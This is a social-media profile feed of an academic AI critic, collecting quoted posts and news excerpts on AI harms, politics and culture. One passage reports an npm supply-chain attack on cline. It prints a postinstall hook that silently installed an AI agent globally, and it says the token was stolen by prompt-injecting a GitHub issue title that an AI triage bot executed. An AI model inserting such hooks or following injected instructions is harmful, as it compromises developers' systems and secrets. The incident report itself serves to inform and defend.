Dr. Damien P. Williams has to go the way his blood beats

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Assistant Prof Philosophy & Data Sci. PhD Sci., Technology, & Society MA Philosophy & Religious Studies "AI" Criticality; Centering Marginalized Exp. in Tech; Magic; Knowledge, Values, Beliefs He/Him Unless explicitly stated, not speaking for my employer

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BOPU also revoked the company's industrial discharge privileges for those operations effective March 24.

The incident has led to broader changes beyond Meta's project.

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'or-as in millions of cases-just forego necessary care. If you're reading this and work in private insurance or the American government, fuck off and fuck you, forever. Ir the words of David Lynch, "Fix your hearts or die."'

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Tumblr user tpwrtrmnky:
A lot of the time when I point out that some right-wing policy is proven to not achieve the thing it purports to have as a goal, people rightly point out that the real goal is the negative outcomes that do happen.
Which is correct!
But this is often framed as me approaching the right wing naively by the respondent.
That's not the case at all. I know they're evil. The goal is to demonstrate that they're lying by exposing the way the rhetoric fails to line up with reality.
This has to be ongoing work because someone new has their political awakening every day. Every day, someone needs to learn that the right wing position is wrong on all levels, not just the obvious ones.
Tumblr user realflaminglily:
there will be people out there who still think the war on drugs (as the absolute first thing that comes to mind) is a legitimate social cause against an antisocial blight on society. if you come out the gate with (the very true statement) that it's actually been a deliberate campaign to target minorities and other undesirable groups to the ruling class, you're going to sound like a clueless conspiracy nut
whereas if you come with a very defensible, statistically supported point of "it doesn't work and has never worked" you can open the door to the follow up question of "why did the government do it in the first place, and (in many cases) why are they still doing it?"

Andy Burnham’s views on trans rights

Burnham has been a vocal ally of trans people too, defending the rights of trans women to use women’s toilets in 2022 despite backlash from gender-critical campaigners.

However, he has also drawn some criticism. In 2020, he met with the LGB Alliance to discuss reforms to the Gender Recognition Act. The group is regularly criticised by other members of the LGBTQ+ community for their views on trans rights. But a statement released said Burnham had “made his support for the trans community very clear over the years”.

This year, after the 2025 Supreme Court ruling which defined sex as “biological sex” only, Burnham said the EHRC guidance should be introduced “in the fairest and most compassionate way possible”.

He went on to say that single-sex spaces should be protected, but without “marginalising already marginalised communities”.

Again: some of the names in here are from back when maybe ppl didn't know Exactly how much thiel sucks, but some of them are from as recently as this year and i just… How is anyone still taking Peter Thiel's money or his invitations *at this point*? We fully know who & what he is, now, so… don't go.

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3) wide shot of both of them standing struggling with laughter, Bobby is supporting himself on the wall to the adjoining kitchen, and Huey literally doubled over in the middle of the room

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The North Carolina General Assembly is moving a bill that would spend more than $10 million in recurring state money every year to put an Al chatbot in front of students in grades six through twelve. No competitive bidding. No independent review of the evidence. No teachers consulted during drafting. Just a contract written into statute for a single named vendor.

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Alright y'all, I need a reminder that 37 isn't too late to change careers and go back to school to get a master's because it feels like it is.

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We're all late bloomers in my family, I wrote my first book at 40, my mom went back to school and became an orthodontist at 45 and now runs one of the county's best clinics for children with severe cranio-facial irregularities, and my grandmother married her high school crush at the age of 89 and is happier than she's ever been...it's never too late for anything actually:)

Dear colleagues,

I am writing to share that June 30th will be my last day with the organization.

Thirty-four of my forty-one years at CBS News have been at 60 Minutes.

The old chestnut, I have stood on the shoulders of giants couldn't be more true. The associate and broadcast producers, the wonderfully talented editors and camera crews, the good people in the London Bureau have been my rock.

Too many to name you all - but Don, Phil, Jeff, Bill, and Tanya have guided me. The correspondents Steve Kroft, the inimitable Bob Simon, Anderson Cooper, and Jon Wertheim have brought out the best in me.

"This is the first time in history when a whole generation is being told or tempted to have a machine write for them to express themselves. But I say like you are one of one unprecedented in the history of human evolution. There's only one of you. …There's never been you in Ever, and there never will be another one of you. So to give your voice to a machine, to say 'speak for me, I'm going to be silent and I'm going to tell a machine to express myself or to tell my narrative,' is such a crime against yourself.

"It's so dystopian, beyond anything I could do in a dystopian novel— and I did a lot; I never saw this coming— would be an entire generation tempted and too many of them acquiescing to the the silencing of their own voice in favor of a bland unthinking machine to voice their souls.

"But if you can tell them, 'even your roughest drafts, even your most disjointed seeming thoughts are going to be valid; and your voice is essential; the human chorus is incomplete without your voice; and I'm going to listen to whatever you say, even the rough drafts, whatever; I want those; I want to see it all," then we can make sure that that they're heard and that they feel like there are humans out there that want to hear that voice and not the machine processed voice.

"…Good lord, we're at a really scary time, you know, but every adult has to be that person. Every teacher, every parent has to be the one saying, 'Do not do this.' Your voice is the only thing that you have naturally. It's the one thing that nobody can replace. So let's hear your truth. Even if it's raw, even if it's unpolished, even if it doesn't come in the five paragraph essay or whatever. Like, let's let's have it straight from you."

Seehorn: Vince’s little logline that he came up with was, “What if the most miserable person on Earth had to save the world from happiness?” And we had a couple people say, “I don’t think she’s the most miserable.” Certainly, the brilliant Carlos Manuel Vesga’s portrayal of Manousos is pretty angry. I would also put out there that — and Vince has said this on panels — nobody asked that about Walter White. Nobody asked that about Jimmy McGill: “What’s up with them being so unlikable?” They were behaving in an honest way to the situation they were in.

Cranston: You think it’s a gender issue?

Seehorn: I don’t know. When people are like, “She’s so unlikable,” I’m like, her wife’s dead; they killed her. Career’s done, might not ever be back. You may very well die alone and never speak to anybody again on a couch eating a frozen meal, watching “Golden Girls.” There are no friends anymore, there’s no family and the world is saying, “We’re just waiting around until we can take your brain away.” And she’s not polite about it.

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We want to make it absolutely clear that overnight unrest is not welcome, and peaceful protest is the only way forward.

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The difference is that every lawyer involved in the case is implicated, leading Aycock to pause the proceedings, cancel the trial, and disqualify all four lawyers involved. Two of the lawyers were barred from appearing before the court for two years; all lawyers received a fine of between $1,000 and $3,500, depending on Aycock’s assessment of their culpability for not verifying the outputs of the AI they used.

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He should address himself as Freedom Williams formerly a guest artist on C&C Music Factory.
Freedom Williams was never an actual member of C&C, never, Freedom Williams was, since the beginning “contractually” and “credited” as a guest featured Artist, that’s all.

It asks that these processes be guided with foresight: by institutions capable of regulating without stifling, and protecting without taking over; by businesses that recognize work and dignity as measures of success; by intermediary organizations and educational communities that rebuild trust and relationships; and by citizens who cultivate responsibility, moderation, discernment and a sense of truth. Only in this way can innovation genuinely serve integral human development, rather than becoming a source of exclusion and dominance. And only in this way can the promise of progress be recognized as authentic, b

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The planned gas plant won’t connect to the grid, instead providing “electricity for direct consumption by a data center,” according to its application. So-called behind-the-meter gas plants have become increasingly popular for data center developers facing yearslong waits to connect to the grid. According to data from nonprofit Global Energy Monitor, the US at the start of the year had nearly 100 gigawatts of gas-fired power in the development pipeline solely to power data centers, with several more massive gas projects announced since the data was published.

She has conversations about this with many of her fellow actors, about how to work in this field that’s getting swallowed up by conglomerates without feeling like you’re part of a larger system that you can’t abide by. “So much is changing so quickly, and that’s why things like ‘the inevitability of AI’ — I’m putting that in quotes — are bullshit,” she says. “It’s not inevitable. It’s a thing we’re being as sold as, it’s inevitable and it’s coming for our jobs, and it doesn’t have to. We don’t have to succumb to that. We can advocate for real people, for labor law, for the rights of all workers.” Now, Maslany gives extra attention to the way that any production operates, like whether they offer points on the backend to the entire crew.

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Data centers are stealing our water at a scale so vast that pretty soon some of y'all won't have anymore to carry for them.

Like… they're literally stealing the water. Every estimate of water use is now suspect & every "it's not that bad, comparatively" is even more meaningless than it already was.

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ADA WADE: What does the Fifth Amendment mean to you?

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Clearly, whether we’re talking about GPTs and LLMs or just “machine learning” and algorithms, “AI” systems definitely have politics. The problem is not and never has been that what “AI” is and does is “out of step” or “unaligned” with human values, but rather that the values with which “AI” is aligned are a) very, very human, b) woefully under-examined, and often c) terrible. Those values embedded here tend to be racism, sexism, ableism, efficiency, power-over, speed, control, white supremacy, eugenics, hegemony, kyriarchy; what they don’t tend be are prosocial consensus reality, intersubjective truth, or facts. Because obfuscation, misinformation, and disinformation are valuative positions— and they are also mechanisms of control.

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ATLANTA (AP) - Abortion opponents, labeled "idiots" and "Bozos" by Turner Broad- casting System Chairman Ted Turner, pick- eted outside TBS headquarters Friday and called for air time to present their views.

Earlier this week, Turner said TBS would present "Abortion for Survival," a program that takes a pro-choice slant in line with his own views, on Thursday, followed by a tele- vised debate on the issue. "We'll give the other Bozos a chance to talk back," Turner said. "They look like idiots anyway."

The debate panel will include Rep. Robert Dornan, R-Calif.; Faye Wattleton of Planned Parenthood; and Nellie Gray, president of March for Life.

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Put plainly, we really want the shiny, mathy, “objective” answer, and we are very inclined to believe that technology will give it to us. People think GPTs tell the truth, and so people think GPT-based checkers tell the truth, and so people think they can trust and learn from GPT checkers how to tell when something is written by GPT rather than a human being. And not one of these thoughts that people think is correct. But the academy and general public’s willingness to trust computers and “AI” over other humans, even and especially when computers and “AI” are making decisions about humans, is currently hurting, and will continue to hurt, a lot of already marginalized people—unless we work hard to fix it. In case you find yourself willing to downplay this, filing it under the header of, “Well, it’s a small portion of scholars or potential experts; what’s the real harm?,” let me assure you that these harms will be borne by all of us eventually; the marginalized and minoritized are just the ones who experience it first.

The U.S. Supreme Court has left in place a lower court decision granting schools discretion over whether they disclose to parents the name and pronouns a student uses.

A circuit court in Massachusetts previously ruled that teachers and school staff were not required to provide parents with the information, but parents Stephen Foote and Marissa Silvestri appealed the decision, arguing that the policies of Baird Middle School in Ludlow led their child to be transgender.

Dr Damien P Williams Warned You About Exactly This

@Wolven

I s2fg: It's called ALIEN, the 1st spoken words in the film are a labour dispute, & the entire film turns around a corp breaking its workers bodies in the name of profit.

Does Karl Marx have to come out at the end doing a vaudeville softshoe & singing
"🎵 capitalism is baaaad🎵"

7/2/2021, 11:01:18 AM

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It has also occluded something deeper: the human decisions that led to the killing of between 175 and 180 people, most of them girls between the ages of seven and 12. Someone decided to compress the kill chain. Someone decided that deliberation was latency. Someone decided to build a system that produces 1,000 targeting decisions an hour and call them high-quality. Someone decided to start this war. Several hundred people are sitting on Capitol Hill, refusing to stop it. Calling it an “AI problem” gives those decisions, and those people, a place to hide.

I was not surprised to learn that I Georgetown, like most American colleges and universities, has succumbed to the pressure to appear part of the “AI” in-crowd (and to the temptation of the resources being made available to those in that crowd). But even though everything I have done in my professional life has been in some way based on the expectation that institutions will tend towards corruption, corrosion and capture, when I think about what this particular instance of that phenomenon signifies for you, the students of Georgetown, I feel very sad and angry. And I decided that the best thing to do with that sadness and anger would be to write to you all directly about why this decision by your university, which may seem on the surface to be an example of garden variety corporate thoughtlessness, should disturb you deeply, and provoke you to fight back.

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This opinion addresses the misconduct of Glenn Whiting’s lawyers, Van Irion and Russ Egli, in their briefing before this court and the sanctions we impose for it. That briefing repeatedly misrepresented the record, cited non-existent cases, and cited cases for propositions of law that they did not even discuss, much less support. As explained below, Irion’s and Egli’s misconduct warrants the sanctions laid out in Section II.C.

It's really really weird to me to see people blaming Israel for something Donald Trump had full and complete reasons to chose for himself.
This is the SECOND time he's bombed Iran while in the middle of supposed negotiations.

And this time he's got all those CSA allegations to try to divert everyone's attention from.

Like… This is donald trump's war of choice, too, and eliding that seems… sus.

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Y'all do realise it's only called "Palantir" because "Literally The Eye Of Sauron" was too on the nose, right?

Like I heard Peter Thiel was originally gonna call it "The Witch King Of Angmar, Right Behind You, Forever," but then was like "nah people might get suspicious on that"

This Week in Worcester spoke with a Department of Justice appointee on the condition of anonymity, citing an ongoing and active investigation. “The immediate theory is that the AI program included the school’s position based on older, archived intelligence. The logic behind the launch, and the mechanics of who authorized it is unclear.”

This Week in Worcester spoke with a logistics programmer in the Department of Defense (DOD), who said that the department rapidly scaled up its use of a Claude-based system over the past year, integrating it with many core operational decisions.

“They are gung-ho about this program, and want to use it for everything. Most of their operational planning is done using this software, although there is some things we have designed in-house,” said the appointee.

On February 17, 2026, someone published cline@2.3.0 to npm. The CLI binary was byte-identical to the previous version. The only change was one line in package.json:

'postinstall'": "npm install -g openclaw@latest"

For the next eight hours, every developer who installed or updated Cline got OpenClaw - a separate AI agent with full system access - installed globally on their machine without consent. Approximately 4,000 downloads occurred before the package was pulled'.

The interesting part is not the payload. It is how the attacker got the npm token in the first place: by injecting a prompt into a GitHub issue title, which an AI triage bot read, interpreted as an instruction, and executed.

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When broligarchs & kleptocrats float "depopulation" & "declining birthrates," which populations do they want to de-, & exactly whose birthrates are they worried are in decline?

The answers— if you ignore the most obviously applicable explanatory framing of white supremacy + eugenics— may shock you.
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Techbros of the singularity/longtermist/effective altruist stripes have always thought that "slowing population growth" is a viable path out of climate crisis. And the answer to "which populations?" is always exactly who you'd think because they are all just fucking swimming in eugenicist bullshit.
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The near-term danger isn’t that AI will be smarter than most humans or even particularly good at what it’s asked to do, Williams says. It’s that it will be significantly less expensive than paying people — or at least offer that promise.

“In many cases, cheaper and worse is just fine for a lot of people who are worried about the cheaper and not the quality at all,” he says. It’s a very real and serious possibility that AI will be adopted widely “specifically to, in fact, try to save on labor … ‘save on labor’ being a euphemistic way of saying, ‘fire a whole lot of people.’”

The near-term danger isn’t that AI will be smarter than most humans or even particularly good at what it’s asked to do, Williams says. It’s that it will be significantly less expensive than paying people — or at least offer that promise.

“In many cases, cheaper and worse is just fine for a lot of people who are worried about the cheaper and not the quality at all,” he says. It’s a very real and serious possibility that AI will be adopted widely “specifically to, in fact, try to save on labor … ‘save on labor’ being a euphemistic way of saying, ‘fire a whole lot of people.’”

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As noted many times before, prejudicial beliefs & assumptions about disabled & neurodivergent people, BIPOC populations, women, & LGBTQIA+ people have formed the basis of the data which has been used to train "A.I." health systems, & we know those prejudices get reproduced…
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At least 10 people were injured between late 2021 and November 2025, according to the reports. Most allegedly involved errors in which the TruDi Navigation System misinformed surgeons about the location of their instruments while they were using them inside patients’ heads during operations.

Cerebrospinal fluid reportedly leaked from one patient’s nose. In another reported case, a surgeon mistakenly punctured the base of a patient’s skull. In two other cases, patients each allegedly suffered strokes after a major artery was accidentally injured.

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So apparently on Sunday Tim Walz, the governor of Minnesota, said in a press conference that "we have got children hiding in their houses, afraid to go outside ... many of us grew up reading that story of Anne Frank. Somebody’s gonna write that children’s story about Minnesota.”
Then on Monday--one day before International Holocaust Remembrance Day--the United States Holocaust Memorial Museum tweeted in response that: "Anne Frank was targeted and murdered solely because she was Jewish. Leaders making false equivalencies to her experience for political purposes is never acceptable. Despite tensions in Minneapolis, exploiting the Holocaust is deeply offensive, especially as antisemitism surges."
As someone who spent a year at the Museum as a fellow doing research, I feel embarrassed for the institution. First, it is very clear that Walz wasn't drawing an equivalence, he was drawing an analogy. So this kind of response reminds me of the atrocious positions that the ADL has started to carve out, and why it has become mostly a sycophantic joke, now seemingly mostly geared towards currying favor with MAGA.

Second, Defendants defend their consideration of partisan politics" in making discretionary funding decisions, asserting that such action does not offend the Equal Protection Clause. See Defs.' Opp'n at 17-19; Hr'g Tr. at 53:17-55:9. They argue that "political considerations are routine when it comes to spending federal funds," analogizing the award terminations to "pork barrel" spending. Defs.' Opp'n at 18-19. But much like their argument about animus, this contention misses the point. The key question is whether Defendants' deliberate grouping of awardees based on whether the state in which they reside voted for President Trump is rationally related to DOE's stated objective of aligning grant funding with the new administration's priorities. To ask the question is to answer it. As noted, Defendants themselves have offered no plausible rational connection.